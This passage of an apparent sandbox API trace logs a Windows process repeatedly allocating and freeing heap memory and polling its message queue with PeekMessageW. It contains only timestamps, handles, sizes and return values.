hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.008] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.008] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0138.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0138.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.009] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.009] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0138.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0138.010] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0138.010] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0138.011] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0138.011] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0138.011] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.012] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.012] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0138.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0138.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0138.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0138.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0138.015] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0138.015] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.015] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.017] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0138.017] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0138.017] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0138.019] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0138.020] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0138.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0138.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0138.020] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0138.021] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0138.021] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0138.022] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0138.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0138.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.022] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.024] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0138.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0138.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.024] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.025] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0138.025] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0138.026] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0138.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0138.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0138.026] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0138.027] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0138.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0138.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0138.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0138.027] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0138.028] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0138.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0138.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0138.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0138.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0138.028] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec610 | out: hHeap=0xe80000) returned 1 [0138.029] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0138.029] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.029] RtlAllocateHeap 